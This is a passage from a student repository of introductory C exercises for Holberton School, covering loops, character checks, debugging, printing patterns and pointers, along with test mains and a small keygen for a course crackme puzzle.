/0x02-functions_nested_loops/2-print_alphabet_x10.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_alphabet_x10 - print alphabet 10 times 5 | * 6 | * Description: print lowercase alphabet followed by newline 10 times 7 | * Return: void 8 | */ 9 | void print_alphabet_x10(void) 10 | { 11 | int i; 12 | int c; 13 | 14 | for (i = 0; i < 10; ++i) 15 | { 16 | for (c = 'a'; c <= 'z'; ++c) 17 | _putchar(c); 18 | _putchar('\n'); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/3-islower.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _islower - check if a character is lowercase 5 | * @c: The character to check 6 | * 7 | * Return: 1 if c is lowercase. 8 | * Otherwise 0. 9 | */ 10 | int _islower(int c) 11 | { 12 | if (c >= 'a' && c <= 'z') 13 | return (1); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/3-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int r; 11 | 12 | r = _islower('H'); 13 | _putchar(r + '0'); 14 | r = _islower('o'); 15 | _putchar(r + '0'); 16 | r = _islower(108); 17 | _putchar(r + '0'); 18 | _putchar('\n'); 19 | return (0); 20 | } 21 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/4-isalpha.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _isalpha - check if a character is alphabetical 5 | * @c: The character to check 6 | * 7 | * Return: 1 if c is alphabetical. 8 | * Otherwise 0. 9 | */ 10 | int _isalpha(int c) 11 | { 12 | if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) 13 | return (1); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/4-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int r; 11 | 12 | r = _isalpha('H'); 13 | _putchar(r + '0'); 14 | r = _isalpha('o'); 15 | _putchar(r + '0'); 16 | r = _isalpha(108); 17 | _putchar(r + '0'); 18 | r = _isalpha(';'); 19 | _putchar(r + '0'); 20 | _putchar('\n'); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/5-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /* 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int r; 11 | 12 | r = print_sign(98); 13 | _putchar(','); 14 | _putchar(' '); 15 | _putchar(r + '0'); 16 | _putchar('\n'); 17 | r = print_sign(0); 18 | _putchar(','); 19 | _putchar(' '); 20 | _putchar(r + '0'); 21 | _putchar('\n'); 22 | r = print_sign(0xff); 23 | _putchar(','); 24 | _putchar(' '); 25 | _putchar(r + '0'); 26 | _putchar('\n'); 27 | r = print_sign(-1); 28 | _putchar(','); 29 | _putchar(' '); 30 | _putchar(r + '0'); 31 | _putchar('\n'); 32 | return (0); 33 | } 34 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/5-sign.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_sign - print the sign of a numeric value 5 | * @n: The value to test 6 | * 7 | * Return: 1 if n is positive. 8 | * -1 if n is negative. 9 | * Otherwise 0. 10 | */ 11 | int print_sign(int n) 12 | { 13 | if (n > 0) 14 | { 15 | _putchar('+'); 16 | return (1); 17 | } 18 | else if (n < 0) 19 | { 20 | _putchar('-'); 21 | return (-1); 22 | } 23 | else 24 | { 25 | _putchar('0'); 26 | return (0); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/6-abs.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _abs - compute the absolute value of a number 5 | * @i: The value to test 6 | * 7 | * Return: The absolute value of i. 8 | */ 9 | int _abs(int i) 10 | { 11 | return (i < 0 ? -i : i); 12 | } 13 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/6-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int r; 12 | 13 | r = _abs(-1); 14 | printf("%d\n", r); 15 | r = _abs(0); 16 | printf("%d\n", r); 17 | r = _abs(1); 18 | printf("%d\n", r); 19 | r = _abs(-98); 20 | printf("%d\n", r); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/7-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int r; 11 | 12 | print_last_digit(98); 13 | print_last_digit(0); 14 | r = print_last_digit(-1024); 15 | _putchar('0' + r); 16 | _putchar('\n'); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/7-print_last_digit.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_last_digit - print the last digit of an integer 5 | * @n: The value to print the last digit of 6 | * 7 | * Return: The last digit of n. 8 | */ 9 | int print_last_digit(int n) 10 | { 11 | n = n % 10; 12 | 13 | if (n < 0) 14 | n = -1 * n; 15 | 16 | _putchar('0' + n); 17 | return (n); 18 | } 19 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/8-24_hours.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * jack_bauer - print all times of day from 00:00 to 23:59 5 | * 6 | * Return: void 7 | */ 8 | void jack_bauer(void) 9 | { 10 | int m; 11 | int h; 12 | 13 | for (h = 0; h < 24; ++h) 14 | { 15 | for (m = 0; m < 60; ++m) 16 | { 17 | _putchar('0' + h / 10); 18 | _putchar('0' + h % 10); 19 | _putchar(':'); 20 | _putchar('0' + m / 10); 21 | _putchar('0' + m % 10); 22 | _putchar('\n'); 23 | } 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/8-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | jack_bauer(); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/9-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | times_table(); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/9-times_table.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * times_table - print a multiplication table of single-digit numbers 5 | * 6 | * Return: void 7 | */ 8 | void times_table(void) 9 | { 10 | int i; 11 | int j; 12 | 13 | for (i = 0; i < 10; ++i) 14 | { 15 | for (j = 0; j < 10; ++j) 16 | { 17 | if (j == 0) 18 | ; 19 | else if ((i * j) < 10) 20 | _putchar(' '); 21 | else 22 | _putchar('0' + i * j / 10); 23 | 24 | _putchar('0' + i * j % 10); 25 | 26 | if (j < 9) 27 | { 28 | _putchar(','); 29 | _putchar(' '); 30 | } 31 | } 32 | _putchar('\n'); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/_putchar.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x02-functions_nested_loops/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | 6 | /* 0 */ 7 | int _putchar(char c); 8 | 9 | /* 1 */ 10 | void print_alphabet(void); 11 | 12 | /* 2 */ 13 | void print_alphabet_x10(void); 14 | 15 | /* 3 */ 16 | int _islower(int c); 17 | 18 | /* 4 */ 19 | int _isalpha(int c); 20 | 21 | /* 5 */ 22 | int print_sign(int n); 23 | 24 | /* 6 */ 25 | int _abs(int); 26 | 27 | /* 7 */ 28 | int print_last_digit(int); 29 | 30 | /* 8 */ 31 | void jack_bauer(void); 32 | 33 | /* 9 */ 34 | void times_table(void); 35 | 36 | /* 10 */ 37 | int add(int, int); 38 | 39 | /* 11 */ 40 | void print_to_98(int n); 41 | 42 | /* 12 */ 43 | void print_times_table(int n); 44 | 45 | #endif /* HOLBERTON_H */ 46 | -------------------------------------------------------------------------------- /0x03-debugging/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x03-debugging/0-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - tests function that prints if integer is positive or negative 5 | * Return: 0 6 | */ 7 | 8 | int main(void) 9 | { 10 | int i; 11 | 12 | i = 0; 13 | positive_or_negative(i); 14 | 15 | return (0); 16 | } 17 | -------------------------------------------------------------------------------- /0x03-debugging/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - causes an infinite loop 5 | * Return: 0 6 | */ 7 | 8 | int main(void) 9 | { 10 | int i; 11 | 12 | printf("Infinite loop incoming :(\n"); 13 | 14 | i = 0; 15 | 16 | /* while (i < 10) */ 17 | /* { */ 18 | /* putchar(i); */ 19 | /* } */ 20 | 21 | printf("Infinite loop avoided! \\o/\n"); 22 | 23 | return (0); 24 | } 25 | -------------------------------------------------------------------------------- /0x03-debugging/2-largest_number.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * largest_number - returns the largest of 3 numbers 5 | * @a: first integer 6 | * @b: second integer 7 | * @c: third integer 8 | * Return: largest number 9 | */ 10 | 11 | int largest_number(int a, int b, int c) 12 | { 13 | int largest; 14 | 15 | if (a > b) 16 | { 17 | if (a > c) 18 | largest = a; 19 | else 20 | largest = c; 21 | } 22 | else if (b > a) 23 | { 24 | if (b > c) 25 | largest = b; 26 | else 27 | largest = c; 28 | } 29 | else if (a > c) 30 | { 31 | largest = a; 32 | } 33 | else 34 | { 35 | largest = c; 36 | } 37 | 38 | return (largest); 39 | } 40 | -------------------------------------------------------------------------------- /0x03-debugging/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - prints the largest of 3 integers 6 | * Return: 0 7 | */ 8 | 9 | int main(void) 10 | { 11 | int a, b, c; 12 | int largest; 13 | 14 | a = 972; 15 | b = -98; 16 | c = 0; 17 | 18 | largest = largest_number(a, b, c); 19 | 20 | printf("%d is the largest number\n", largest); 21 | 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x03-debugging/3-main_a.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - takes a date and prints how many days are left in the year, taking 6 | * leap years into account 7 | * Return: 0 8 | */ 9 | 10 | int main(void) 11 | { 12 | int month; 13 | int day; 14 | int year; 15 | 16 | month = 4; 17 | day = 10; 18 | year = 1997; 19 | 20 | printf("Date: %02d/%02d/%04d\n", month, day, year); 21 | 22 | day = convert_day(month, day); 23 | 24 | print_remaining_days(month, day, year); 25 | 26 | month = 2; 27 | day = 29; 28 | year = 1997; 29 | 30 | printf("Date: %02d/%02d/%04d\n", month, day, year); 31 | 32 | day = convert_day(month, day); 33 | 34 | print_remaining_days(month, day, year); 35 | 36 | return (0); 37 | } 38 | -------------------------------------------------------------------------------- /0x03-debugging/3-main_b.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - takes a date and prints how many days are left in the year, taking 6 | * leap years into account 7 | * Return: 0 8 | */ 9 | 10 | int main(void) 11 | { 12 | int month; 13 | int day; 14 | int year; 15 | 16 | month = 2; 17 | day = 29; 18 | year = 2000; 19 | 20 | printf("Date: %02d/%02d/%04d\n", month, day, year); 21 | 22 | day = convert_day(month, day); 23 | 24 | print_remaining_days(month, day, year); 25 | 26 | month = 3; 27 | day = 1; 28 | year = 2000; 29 | 30 | printf("Date: %02d/%02d/%04d\n", month, day, year); 31 | 32 | day = convert_day(month, day); 33 | 34 | print_remaining_days(month, day, year); 35 | 36 | return (0); 37 | } 38 | -------------------------------------------------------------------------------- /0x03-debugging/README.md: -------------------------------------------------------------------------------- 1 | # 0x03. C - Debugging 2 | ### Intro to manual debugging 3 | 4 | * **2-largest\_number.c** 5 | * largest\_number - returns the largest of 3 numbers 6 | * @a: first integer 7 | * @b: second integer 8 | * @c: third integer 9 | 10 | * **3-convert\_day.c** 11 | * convert\_day - converts day of month to day of year, without accounting 12 | * @month: month in number format 13 | * @day: day of month 14 | 15 | * **3-print\_remaining\_days.c** 16 | * print\_remaining\_days - takes a date and prints how many days are 17 | * @month: month in number format 18 | * @day: day of month 19 | * @year: year 20 | -------------------------------------------------------------------------------- /0x03-debugging/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | 6 | void positive_or_negative(int i); 7 | 8 | int largest_number(int a, int b, int c); 9 | 10 | int convert_day(int month, int day); 11 | 12 | void print_remaining_days(int month, int day, int year); 13 | 14 | #endif /* HOLBERTON_H */ 15 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/0-isupper.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _isupper - check if character is uppercase 5 | * @c: character to check 6 | * 7 | * Return: 1 if c is uppercase, 8 | * 0 otherwise. 9 | */ 10 | int _isupper(int c) 11 | { 12 | return (c >= 'A' && c <= 'Z'); 13 | } 14 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/0-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char c; 12 | 13 | c = 'A'; 14 | printf("%c: %d\n", c, _isupper(c)); 15 | c = 'a'; 16 | printf("%c: %d\n", c, _isupper(c)); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/1-isdigit.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _isdigit - check if character is a digit 5 | * @c: character to check 6 | * 7 | * Return: 1 if c is a digit, 8 | * 0 otherwise. 9 | */ 10 | int _isdigit(int c) 11 | { 12 | return (c >= '0' && c <= '9'); 13 | } 14 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/1-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char c; 12 | 13 | c = '0'; 14 | printf("%c: %d\n", c, _isdigit(c)); 15 | c = 'a'; 16 | printf("%c: %d\n", c, _isdigit(c)); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/10-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_triangle(2); 11 | print_triangle(10); 12 | print_triangle(1); 13 | print_triangle(0); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/10-print_triangle.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_triangle - print a triangle in the terminal 5 | * @size: base & height of triangle 6 | * 7 | * Return: void 8 | */ 9 | void print_triangle(int size) 10 | { 11 | int linenum; 12 | int linelen; 13 | 14 | for (linenum = 1; linenum <= size; ++linenum) 15 | { 16 | for (linelen = size; linelen > linenum; --linelen) 17 | _putchar(' '); 18 | for ( ; linelen > 0; --linelen) 19 | _putchar('#'); 20 | _putchar('\n'); 21 | } 22 | 23 | if (size <= 0) 24 | _putchar('\n'); 25 | } 26 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/101-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | print_number(98); 12 | _putchar('\n'); 13 | print_number(402); 14 | _putchar('\n'); 15 | print_number(1024); 16 | _putchar('\n'); 17 | print_number(0); 18 | _putchar('\n'); 19 | print_number(-98); 20 | _putchar('\n'); 21 | print_number(-1); 22 | _putchar('\n'); 23 | print_number(INT_MAX); 24 | _putchar('\n'); 25 | print_number(INT_MIN); 26 | _putchar('\n'); 27 | return (0); 28 | } 29 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/101-print_number.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_number - print an integer (with no trailing newline) 5 | * @n: integer to print 6 | * 7 | * Return: void 8 | */ 9 | void print_number(int n) 10 | { 11 | unsigned int m; 12 | 13 | if (n >= 0) 14 | { 15 | if (n >= 10) 16 | print_number(n / 10); 17 | _putchar('0' + n % 10); 18 | } 19 | else 20 | { 21 | _putchar('-'); 22 | m = -1 * n; 23 | if (m >= 10) 24 | print_number(m / 10); 25 | _putchar('0' + m % 10); 26 | } 27 | 28 | } 29 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/2-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | printf("%d\n", mul(98, 1024)); 12 | printf("%d\n", mul(-402, 4096)); 13 | return (0); 14 | } 15 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/2-mul.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * mul - multiply two numbers 5 | * @a: first multiplication operand 6 | * @b: second multiplication operand 7 | * 8 | * Return: product of a and b 9 | */ 10 | int mul(int a, int b) 11 | { 12 | return (a * b); 13 | } 14 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/3-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_numbers(); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/3-print_numbers.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_numbers - print numbers 0 through 9 5 | * 6 | * Return: void 7 | */ 8 | void print_numbers(void) 9 | { 10 | char i; 11 | 12 | for (i = '0'; i <= '9'; ++i) 13 | _putchar(i); 14 | _putchar('\n'); 15 | } 16 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/4-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_most_numbers(); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/4-print_most_numbers.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_most_numbers - print numbers 0 through 9 (except 2 and 4) 5 | * 6 | * Return: void 7 | */ 8 | void print_most_numbers(void) 9 | { 10 | char i; 11 | 12 | for (i = '0'; i <= '9'; ++i) 13 | { 14 | if (i != '2' && i != '4') 15 | _putchar(i); 16 | } 17 | _putchar('\n'); 18 | } 19 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/5-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | more_numbers(); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/5-more_numbers.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * more_numbers - print the numbers 0 through 14 ten times 5 | * 6 | * Return: void 7 | */ 8 | void more_numbers(void) 9 | { 10 | int i; 11 | int j; 12 | 13 | for (j = 0; j < 10; ++j) 14 | { 15 | for (i = 0; i < 15; ++i) 16 | { 17 | if (i > 9) 18 | _putchar('0' + i / 10); 19 | _putchar('0' + i % 10); 20 | } 21 | _putchar('\n'); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/6-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_line(0); 11 | print_line(2); 12 | print_line(10); 13 | print_line(-4); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/6-print_line.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_line - draw a straight line in the terminal 5 | * @n: size of line 6 | * 7 | * Return: void 8 | */ 9 | void print_line(int n) 10 | { 11 | while (--n >= 0) 12 | _putchar('_'); 13 | _putchar('\n'); 14 | } 15 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/7-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_diagonal(0); 11 | print_diagonal(2); 12 | print_diagonal(10); 13 | print_diagonal(-4); 14 | return (0); 15 | } 16 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/7-print_diagonal.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_diagonal - draw a diagonal line in the terminal 5 | * @n: size of diagonal line 6 | * 7 | * Return: void 8 | */ 9 | void print_diagonal(int n) 10 | { 11 | int linenum; 12 | int linelen; 13 | 14 | for (linenum = 0; linenum < n; ++linenum) 15 | { 16 | for (linelen = 0; linelen < linenum; ++linelen) 17 | _putchar(' '); 18 | _putchar('\\'); 19 | _putchar('\n'); 20 | } 21 | 22 | if (n <= 0) 23 | _putchar('\n'); 24 | } 25 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/8-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | print_square(2); 11 | print_square(10); 12 | print_square(0); 13 | return (0); 14 | } 15 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/8-print_square.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * print_square - print a square in the terminal 5 | * @size: size of square 6 | * 7 | * Return: void 8 | */ 9 | void print_square(int size) 10 | { 11 | int linenum; 12 | int linelen; 13 | 14 | for (linenum = 0; linenum < size; ++linenum) 15 | { 16 | for (linelen = 0; linelen < size; ++linelen) 17 | _putchar('#'); 18 | _putchar('\n'); 19 | } 20 | 21 | if (size <= 0) 22 | _putchar('\n'); 23 | } 24 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/9-fizz_buzz.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * main - Fizz Buzz 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | int i; 11 | 12 | for (i = 1; i <= 100; ++i) 13 | { 14 | if (i % 3 == 0 && i % 5 == 0) 15 | { 16 | printf("FizzBuzz"); 17 | } 18 | else if (i % 3 == 0) 19 | { 20 | printf("Fizz"); 21 | } 22 | else if (i % 5 == 0) 23 | { 24 | printf("Buzz"); 25 | } 26 | else 27 | { 28 | printf("%d", i); 29 | } 30 | if (i < 100) 31 | putchar(' '); 32 | else 33 | putchar('\n'); 34 | } 35 | 36 | return (0); 37 | } 38 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/_putchar.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x04-more_functions_nested_loops/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | 6 | int _putchar(char c); 7 | 8 | /* 0 */ 9 | int _isupper(int c); 10 | 11 | /* 1 */ 12 | int _isdigit(int c); 13 | 14 | /* 2 */ 15 | int mul(int a, int b); 16 | 17 | /* 3 */ 18 | void print_numbers(void); 19 | 20 | /* 4 */ 21 | void print_most_numbers(void); 22 | 23 | /* 5 */ 24 | void more_numbers(void); 25 | 26 | /* 6 */ 27 | void print_line(int n); 28 | 29 | /* 7 */ 30 | void print_diagonal(int n); 31 | 32 | /* 8 */ 33 | void print_square(int size); 34 | 35 | /* 10 */ 36 | void print_triangle(int size); 37 | 38 | /* 11 */ 39 | 40 | /* 12 */ 41 | void print_number(int n); 42 | 43 | #endif /* HOLBERTON_H */ 44 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/0-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int n; 12 | 13 | n = 402; 14 | printf("n=%d\n", n); 15 | reset_to_98(&n); 16 | printf("n=%d\n", n); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/0-reset_to_98.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * reset_to_98 - reset integer pointed to by n to 98 5 | * @n: the integer to set 6 | * 7 | * Return: void 8 | */ 9 | void reset_to_98(int *n) 10 | { 11 | if (n) 12 | *n = 98; 13 | } 14 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/1-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int a; 12 | int b; 13 | 14 | a = 98; 15 | b = 42; 16 | printf("a=%d, b=%d\n", a, b); 17 | swap_int(&a, &b); 18 | printf("a=%d, b=%d\n", a, b); 19 | return (0); 20 | } 21 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/1-swap.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * swap_int - swap the values of two integers 5 | * @a: pointer to an integer to swap 6 | * @b: pointer to an integer to swap 7 | * 8 | * Return: void 9 | */ 10 | void swap_int(int *a, int *b) 11 | { 12 | if (a && b) 13 | { 14 | *a ^= *b; 15 | *b ^= *a; 16 | *a ^= *b; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/101-keygen.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define GRAPH_MIN 33 6 | #define GRAPH_MAX 126 7 | 8 | 9 | /** 10 | * main - generate valid passwords for 101-crackme 11 | * 12 | * Return: Always 0 13 | */ 14 | int main(void) 15 | { 16 | int sum = 2772; 17 | char c; 18 | 19 | srand(time(NULL)); 20 | 21 | while (sum > GRAPH_MAX) 22 | { 23 | c = rand() % (GRAPH_MAX - GRAPH_MIN) + GRAPH_MIN; 24 | 25 | sum -= c; 26 | 27 | if (sum < GRAPH_MIN) 28 | { 29 | c -= (GRAPH_MIN - sum); 30 | sum = GRAPH_MIN; 31 | } 32 | putchar(c); 33 | } 34 | putchar(sum); 35 | 36 | return (0); 37 | } 38 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/2-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | char *str; 12 | int len; 13 | 14 | str = "Holberton!"; 15 | len = _strlen(str); 16 | printf("%d\n", len); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x05-pointers_arrays_strings/2-strlen.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 